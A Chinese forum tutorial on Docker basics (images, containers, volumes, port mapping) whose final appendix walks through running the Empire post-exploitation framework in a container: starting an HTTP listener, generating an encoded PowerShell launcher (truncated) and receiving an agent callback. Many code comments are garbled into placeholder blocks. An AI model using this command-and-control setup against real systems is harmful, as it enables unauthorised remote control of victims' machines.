Docker笔记—基础篇

wooy0ung6 / 2017-12-14 14:56:00 / 浏览数 2527 新手 入门资料 顶(1) 踩(0)

Author：zeroyu

概念

Docker镜像：一个只读模板，是创建Docker容器的基础。镜像文件是由多个层组成的。

Docker容器：一个轻量级沙箱，来运行和隔离应用

Docker仓库：用来存储Docker镜像文件的地方

Docker中用于区分的方式是id或者name:tag

安装

官方文档：https://docs.docker.com/

操作镜像

1.获取镜像（默认是从docker hub网站进行镜像的获取）

```
docker pull kalilinux/kali-linux-docker
#■■■■■■■■■■■■■■■■■■■■■■■
docker pull hub.c.163.com/public/ubuntu:14.04
```

建议：使用中科大镜像源 `https://docker.mirrors.ustc.edu.cn`

附带：在国内 docker build 的正确姿势

2.列出镜像

```
➜  ~ docker images
REPOSITORY                    TAG                 IMAGE ID            CREATED             SIZE
kalilinux/kali-linux-docker   latest              8ececeaf404d        9 months ago        1.56GB
```

REPOSITORY:来自哪个仓库

TAG:镜像的标签信息，能标示来自同一仓库的不同镜像

IMAGE ID:镜像的ID，此字段唯一标示了镜像

CREATED:创建时间

SIZE:镜像的大小

3.添加镜像标签

```
#■kalilinux/kali-linux-docker:latest■■■■■■■kalilinux:latest
➜  ~ docker tag kalilinux/kali-linux-docker:latest kalilinux:latest
#■■■■■■■■■■■■■■■■■■■■■■id■■■■
➜  ~ docker images
REPOSITORY                    TAG                 IMAGE ID            CREATED             SIZE
kalilinux/kali-linux-docker   latest              8ececeaf404d        9 months ago        1.56GB
kalilinux                     latest              8ececeaf404d        9 months ago        1.56GB
```

4.查看详细信息

```
➜  ~ docker inspect kalilinux:latest
[
   {
       "Id": "sha256:8ececeaf404d5d63d4e9bf870f4340516f3be040e5db6c005ac8cf96d2c43536",
       "RepoTags": [
           "kalilinux/kali-linux-docker:latest",
           "kalilinux:latest"
       ],
       "RepoDigests": [
```

```
            "kalilinux/kali-linux-docker@sha256:2ebc75f51fa4937340a0d3b4fe903c60aad23866b8c9e1fae80ad7372e01b71d"
        ],
        ......
        "Metadata": {
            "LastTagTime": "2017-12-02T04:56:53.8185955Z"
        }
    }
]
```

5.查看镜像历史

```
➜  ~ docker history kalilinux:latest
IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
8eceeaf404d        9 months ago        /bin/sh -c #(nop)  CMD ["/bin/bash"]            0B
<missing>           9 months ago        /bin/sh -c apt-get -y update && apt-get -y...   251MB
<missing>           9 months ago        /bin/sh -c #(nop)  ENV DEBIAN_FRONTEND=non...   0B
<missing>           9 months ago        /bin/sh -c echo "deb http://http.kali.org/...   134B
<missing>           9 months ago        /bin/sh -c #(nop)  MAINTAINER steev@kali.org    0B
<missing>           11 months ago       /bin/sh -c #(nop)  CMD ["/bin/bash"]            0B
<missing>           11 months ago       /bin/sh -c apt-get -y update && apt-get -y...   286MB
```

6.搜索镜像

```
#■■■■■■■■■■■■1+■■kali■■■■■■■
➜  ~ docker search --automated -s 3 kali
Flag --automated has been deprecated, use --filter=is-automated=true instead
Flag --stars has been deprecated, use --filter=stars=3 instead
NAME                            DESCRIPTION                                     STARS               OFFICIAL            AUTOMAT
kalilinux/kali-linux-docker     Kali Linux Rolling Distribution Base Image      361                                     [OK]
linuxkonsult/kali-metasploit    Kali base image with metasploit                 54                                      [OK]
jasonchaffee/kali-linux         Kali Linux Docker Container with the kali-...   8                                       [OK]
brimstone/kali                                                                  6                                       [OK]
adamoss/kali2-metasploit        Kali2 Automated Build                           4                                       [OK]
wsec/kali-metasploit            Official Kali Base image + Metasploit           3                                       [OK]
kalinon/comicstreamer           ComicStreamer is a media server app for sh...   3                                       [OK]
```

7.删除镜像

```
#■■■■■■■■■■■tag■■■docker rmi■■■■tag■■
#■■docker rmi id■■■■■■■■■■tag■■■■■■■
#■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■docker rmi -f id
➜  ~ docker images
REPOSITORY                    TAG                 IMAGE ID            CREATED             SIZE
kalilinux/kali-linux-docker   latest              8eceeaf404d        9 months ago        1.56GB
kalilinux                     latest              8eceeaf404d        9 months ago        1.56GB
➜  ~ docker rmi kalilinux/kali-linux-docker:latest
Untagged: kalilinux/kali-linux-docker:latest
Untagged: kalilinux/kali-linux-docker@sha256:2ebc75f51fa4937340a0d3b4fe903c60aad23866b8c9e1fae80ad7372e01b71d
➜  ~ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
kalilinux           latest              8eceeaf404d        9 months ago        1.56GB
```

8.创建镜像

1）基于已有镜像的容器创建

```
#■■■■■■■■■■metasploit-framework
➜  ~ docker run -it kalilinux:latest /bin/bash
root@de573c5f5dc6:/# apt update && apt install metasploit-framework
root@de573c5f5dc6:/#exit
#■■id■de573c5f5dc6
#docker commit -m "■■■■" -a "■■■■" id REPOSITORY:TAG
➜  ~ docker commit -m "install msf" -a "zeroyu" de573c5f5dc6 kalilinux:0.1
sha256:66a6770d79d88c826b2e4a38b98037c14de0b9d2ce897307dc30afbf675ce51a
➜  ~ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
kalilinux           0.1                 66a6770d79d8        21 seconds ago      2.54GB
kalilinux           latest              8eceeaf404d        9 months ago        1.56GB
```

2）基于本地模板导入

```
docker import ...
```

9.存出和载入镜像

1）存出镜像

```
docker save -o docker_for_msf.tar kalilinux:0.1
```

2）载入镜像

```
docker load --input docker_for_msf.tar
#■■
docker load < docker_for_msf.tar
```

10.上传镜像

```
docker push kalilinux:0.1
```

操作容器

1.创建容器

1）新建容器

```
#docker create■■■■■■■■■■■■■■■docker start■■■■■
#-i ■■■■■■■■■   -t■■■■■■■■
➜  ~ docker create -it kalilinux:0.1
2bc48b88a424c8056fe9e6311848d5850c4e46008feec99ee095bc341ae9adaf
#■■■■■■■■■■■■■
➜  ~ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                     PORTS               N
2bc48b88a424        kalilinux:0.1       "/bin/bash"         7 seconds ago       Created                                        f
de573c5f5dc6        kalilinux:latest    "/bin/bash"         5 hours ago         Exited (0) 5 hours ago                         h
```

2）启动容器

```
#docker start id ■■■■■■■■
#docker ps ■■■■■■■■■
➜  ~ docker start 2bc48b88a424
2bc48b88a424
➜  ~ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
2bc48b88a424        kalilinux:0.1       "/bin/bash"         9 minutes ago       Up 8 seconds                            frosty
```

3）新建并启动容器

```
#docker run = docker create + docker start
#run■■■■■1.■■■■■■■■■■■■■■■■■■■2.■■■■■■■■■■■■■■■■■3.■■■■■■■
#4.■■IP■5.■■■■■■■■6.■■■■■■■■
➜  ~ docker run kalilinux:0.1 /bin/echo 'zeroyu'
zeroyu
➜  ~ docker ps -a
CONTAINER ID        IMAGE               COMMAND              CREATED             STATUS                      PORTS
d6a6045c4f8b        kalilinux:0.1       "/bin/echo zeroyu"   3 minutes ago       Exited (0) 3 minutes ago
➜  ~ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
#■■■■■■■
➜  ~ docker run -it kalilinux:0.1 /bin/bash
root@2ed8aa5354f1:/# ps
  PID TTY          TIME CMD
    1 pts/0    00:00:00 bash
    7 pts/0    00:00:00 ps
root@2ed8aa5354f1:/# exit
exit
#■■■■■■■■■■■■■
➜  ~ docker ps -a
CONTAINER ID        IMAGE               COMMAND              CREATED              STATUS                      PORTS
2ed8aa5354f1        kalilinux:0.1       "/bin/bash"          About a minute ago   Exited (0) 48 seconds ago
```

4）守护态运行

```
#■■■■■■■■
➜  ~ docker run -d kalilinux:0.1 /bin/sh -c "while true ; do echo zeroyu ; sleep 1 ; done"
88f12c0725a466ba6d8f08f34fc8e9ac263ecafdff0a9e7282d7e9bb4073e6a0
➜  ~ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               N
88f12c0725a4        kalilinux:0.1       "/bin/sh -c 'while..."   7 seconds ago       Up 7 seconds                            s
➜  ~ docker logs 88f12c0725a4
zeroyu
zeroyu
zeroyu
......
```

2.终止容器

```
#id■88f12c0725a4■■■■■■■■■■■■■■■
➜  ~ docker stop 88
88
#■■■■■■■■■■■id
➜  ~ docker ps -qa
073ff4e1dac7
#■■■■■■■■■■■start■■■■■■
➜  ~ docker start 073
073
➜  ~ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS
073ff4e1dac7        kalilinux:0.1       "/bin/sh -c 'while..."   About a minute ago   Up About a minute
#restart■■■■■■■■■■■
➜  ~ docker restart 073
073
```

3.进入容器

处于守护态（-d参数）的容器会在后台运行，但是你无法到信息，也无法进行操作。此时，要进入容器进行工作，要使用attach或者exec命令。

1）使用attach命令

```
#■■■■■■■■name■■■■■■
➜  ~ docker run -itd kalilinux:0.1
77e93d18a6a547c85d86925a0bf3c4ae734eec6fe235ae1c3fe0f19822f14360
➜  ~ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
77e93d18a6a5        kalilinux:0.1       "/bin/bash"         20 seconds ago      Up 21 seconds                           stupef
➜  ~ docker attach stupefied_gates
root@77e93d18a6a5:/#
```

2）使用exec命令

```
➜  ~ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                          PORTS
77e93d18a6a5        kalilinux:0.1       "/bin/bash"         5 minutes ago       Exited (0) About a minute ago
➜  ~ docker start 77e
77e
➜  ~ docker exec -it 77e93d18a6a5 /bin/bash
root@77e93d18a6a5:/#
```

4.删除容器

```
➜  ~ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
77e93d18a6a5        kalilinux:0.1       "/bin/bash"         7 minutes ago       Up About a minute                       stupef
➜  ~ docker rm 77e93d18a6a5
Error response from daemon: You cannot remove a running container 77e93d18a6a547c85d86925a0bf3c4ae734eec6fe235ae1c3fe0f19822f1
➜  ~ docker stop 77e93d18a6a5
77e93d18a6a5
➜  ~ docker rm 77e93d18a6a5
77e93d18a6a5
```

5.导入和导出容器

```
#■■■■
#■■■■■■■■■■■■■■■■■■■■
```

```
➜  ~ docker export -o test.tar 77e93d18a6a5
#■■■■
➜  ~ docker export 77e93d18a6a5 > test.tar

#■■■■
➜  ~ docker import test.tar - test/kalilinux:v1.0
```

Docker数据管理

```
#■■-v■■■■■■■■tmp■■■■■■■■/opt/tmp_test
#■■rw■■■■■■■■■■■■■■■■■
#■■■#■■■■■■■■
➜  ~ docker run -it -P  --name db -v /tmp:/opt/tmp_test:rw kalilinux:0.1 /bin/sh
# ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
# cd opt
# ls
tmp_test
# cd tmp_test
# ls
com.apple.launchd.0fGM76e6ao  com.apple.launchd.UWfVYRXkwo  powerlog
com.apple.launchd.AkQGotnulN  pip-FfQw68-unpack         zeroyu.txt
#
```

Docker端口映射

```
#-P■■■■■■■■■■
#-p■■■■■■■■■■■■■■■■■■■■■■
➜  ~ docker run -it -d -p 5000:5000 kalilinux:v0.2
23e91a40cb124720b1dba81371a275169124cbff2778120b4350470fa79a0d91
➜  ~ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS                     N
23e91a40cb12        kalilinux:v0.2      "/bin/bash"         12 seconds ago      Up 11 seconds       0.0.0.0:5000->5000/tcp    b
➜  ~ docker attach boring_volhard
root@23e91a40cb12:/# cd home/Empire/
root@23e91a40cb12:/home/Empire# ls
LICENSE  README.md  changelog  data  empire  lib  setup
root@23e91a40cb12:/home/Empire#
```

附例

在vps中的docker上使用empire进行渗透测试(metasploit同理)

```
#■■■■■■■■■
=================================================================
[Empire]  Post-Exploitation Framework
=================================================================
[Version] 2.3 | [Web] https://github.com/empireProject/Empire
=================================================================

  _______ .___  ___. .______    __  .______       _______
 |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
 |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
 |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
 |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
 |_______||__|  |__| | _|      |__| | _| `._____||_______|


      282 modules currently loaded

      0 listeners currently active

      0 agents currently active


(Empire) > help

Commands
========
agents            Jump to the Agents menu.
```

```
creds             Add/display credentials to/from the database.
exit              Exit Empire
help              Displays the help menu.
interact          Interact with a particular agent.
list              Lists active agents or listeners.
listeners         Interact with active listeners.
load              Loads Empire modules from a non-standard folder.
preobfuscate      Preobfuscate PowerShell module_source files
reload            Reload one (or all) Empire modules.
reset             Reset a global option (e.g. IP whitelists).
resource          Read and execute a list of Empire commands from a file.
searchmodule      Search Empire module names/descriptions.
set               Set a global option (e.g. IP whitelists).
show              Show a global option (e.g. IP whitelists).
usemodule         Use an Empire module.
usestager         Use an Empire stager.

(Empire) > list
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info

   Name: HTTP[S]
Category: client_server

Authors:
 @harmj0y

Description:
 Starts a http[s] listener (PowerShell or Python) that uses a
 GET/POST approach.

HTTP[S] Options:

 Name              Required    Value                            Description
 ----              --------    -------                          -----------
 SlackToken        False                                        Your SlackBot API token to communicate with your Slack instanc
 ProxyCreds        False       default                          Proxy credentials ([domain\]username:password) to use for requ
 KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
 Name              True        http                             Name for the listener.
 Launcher          True        powershell -noP -sta -w 1 -enc   Launcher string.
 DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
 DefaultLostLimit  True        60                               Number of missed checkins before exiting
 WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
 SlackChannel      False       #general                         The Slack channel or DM that notifications will be sent to.
 DefaultProfile    True        /admin/get.php,/news.php,/login/ Default communication profile for the agent.
                               process.php|Mozilla/5.0 (Windows
                               NT 6.1; WOW64; Trident/7.0;
                               rv:11.0) like Gecko
 Host              True        http://172.17.0.2:80             Hostname/IP for staging.
 CertPath          False                                        Certificate path for https listeners.
 DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
 Proxy             False       default                          Proxy to use for request (default, none, or other).
 UserAgent         False       default                          User-agent string to use for the staging request (default, non
 StagingKey        True        3ab47284cf7e260541d810beb54d3405 Staging key for initial agent negotiation.
 BindIP            True        0.0.0.0                          The IP to bind to on the control server.
 Port              True        80                               Port for the listener.
 ServerVersion     True        Microsoft-IIS/7.5                Server header for the control server.
 StagerURI         False                                        URI for the stager. Must use /download/. Example: /download/st


(Empire: listeners/http) > set Name docker
#■■■172.16.188.1■vps■ip■■
(Empire: listeners/http) > set Host http://172.16.188.1:5000
(Empire: listeners/http) > execute
[*] Starting listener 'docker'
[+] Listener successfully started!
(Empire: listeners/http) > lsit
```

```
*** Unknown syntax: lsit
(Empire: listeners/http) > back
(Empire: listeners) > list

[*] Active listeners:

 Name              Module          Host                                Delay/Jitter   KillDate
 ----              ------          ----                                ------------   --------
 docker            http            http://172.16.188.1:5000            5/0.0

(Empire: listeners) > usestager
multi/bash               osx/dylib               osx/teensy               windows/launcher_sct
multi/launcher           osx/jar                 windows/bunny            windows/launcher_vbs
multi/pyinstaller        osx/launcher            windows/dll              windows/macro
multi/war                osx/macho               windows/ducky            windows/macroless_msword
osx/applescript          osx/macro               windows/hta              windows/teensy
osx/application          osx/pkg                 windows/launcher_bat
osx/ducky                osx/safari_launcher     windows/launcher_lnk
(Empire: listeners) > usestager windows/d
dll    ducky
(Empire: listeners) > usestager windows/dll
(Empire: stager/windows/dll) > info

Name: DLL Launcher

Description:
 Generate a PowerPick Reflective DLL to inject with
 stager code.

Options:

 Name             Required    Value             Description
 ----             --------    -------           -----------
 Listener         True                          Listener to use.
 ProxyCreds       False       default           Proxy credentials
                                                ([domain\]username:password) to use for
                                                request (default, none, or other).
 Obfuscate        False       False             Switch. Obfuscate the launcher
                                                powershell code, uses the
                                                ObfuscateCommand for obfuscation types.
                                                For powershell only.
 Proxy            False       default           Proxy to use for request (default, none,
                                                or other).
 Language         True        powershell        Language of the stager to generate.
 OutFile          True        /tmp/launcher.dll File to output dll to.
 UserAgent        False       default           User-agent string to use for the staging
                                                request (default, none, or other).
 Arch             True        x64               Architecture of the .dll to generate
                                                (x64 or x86).
 ObfuscateCommand False       Token\All\1       The Invoke-Obfuscation command to use.
                                                Only used if Obfuscate switch is True.
                                                For powershell only.
 StagerRetries    False       0                 Times for the stager to retry
                                                connecting.


(Empire: stager/windows/dll) > set Listener docker
(Empire: stager/windows/dll) > back
(Empire: listeners) > launcher powershell docker
powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBFAFIAcwBpAE8AbgBUAEEAYgBMAEUALgBQAFMAVgBFAHIAcwBJAE8ATgAuAE0AQQBKAE8AUgAgAC
#■■■■■■■■■■■■payload■■■■■■■■■■■■
(Empire: listeners) > [+] Initial agent G3BYNCLW from 172.17.0.1 now active (Sla
```


上一篇：Exponent CMS 2.3.... 下一篇：Office-Vulnerabil...

1. 1 条回复

sket****pl4ne 2019-04-26 21:27:25

帮大忙了(□•□□•□)□□

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板